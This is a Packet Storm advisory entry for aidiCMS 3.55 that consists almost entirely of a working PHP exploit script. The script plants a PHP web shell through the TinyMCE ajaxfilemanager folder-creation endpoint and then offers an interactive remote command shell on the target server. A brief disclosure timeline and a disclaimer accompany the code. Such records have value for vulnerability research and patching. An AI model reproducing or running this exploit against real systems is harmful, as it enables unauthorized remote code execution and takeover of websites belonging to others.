AidiCMS 3.55 Code Execution

2011-11-06T00:00:00
ID PACKETSTORM:106624
Type packetstorm
Reporter EgiX
Modified 2011-11-06T00:00:00

Description

                                        
                                            `<?php  
  
/*  
--------------------------------------------------------------------  
aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit  
--------------------------------------------------------------------  
  
author............: Egidio Romano aka EgiX  
mail..............: n0b0d13s[at]gmail[dot]com  
software link.....: http://code.google.com/p/aidicms/  
  
+-------------------------------------------------------------------------+  
| This proof of concept code was written for educational purpose only. |  
| Use it at your own risk. Author will be not responsible for any damage. |  
+-------------------------------------------------------------------------+  
  
[-] Vulnerability overview:  
  
aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/  
  
[-] Disclosure timeline:  
  
[23/10/2011] - Vulnerability discovered  
[24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3  
[26/10/2011] - Project members contacted via e-mail  
[04/11/2011] - Still no response received  
[05/11/2011] - Public disclosure  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
if (!($sock = fsockopen($host, 80)))  
die( "\n[-] No response from {$host}:80\n");  
  
fwrite($sock, $packet);  
return stream_get_contents($sock);  
}  
  
print "\n+-----------------------------------------------------+";  
print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |";  
print "\n+-----------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] <host> <path>\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /aidicms/\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";  
$packet = "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Connection: close\r\n\r\n{$payload}";  
  
http_send($host, $packet);  
  
$packet = "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cmd: %s\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
while(1)  
{  
print "\naidicms-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?  
print $m[1] : die("\n[-] Exploit failed!\n");  
}  
  
?>  
  
`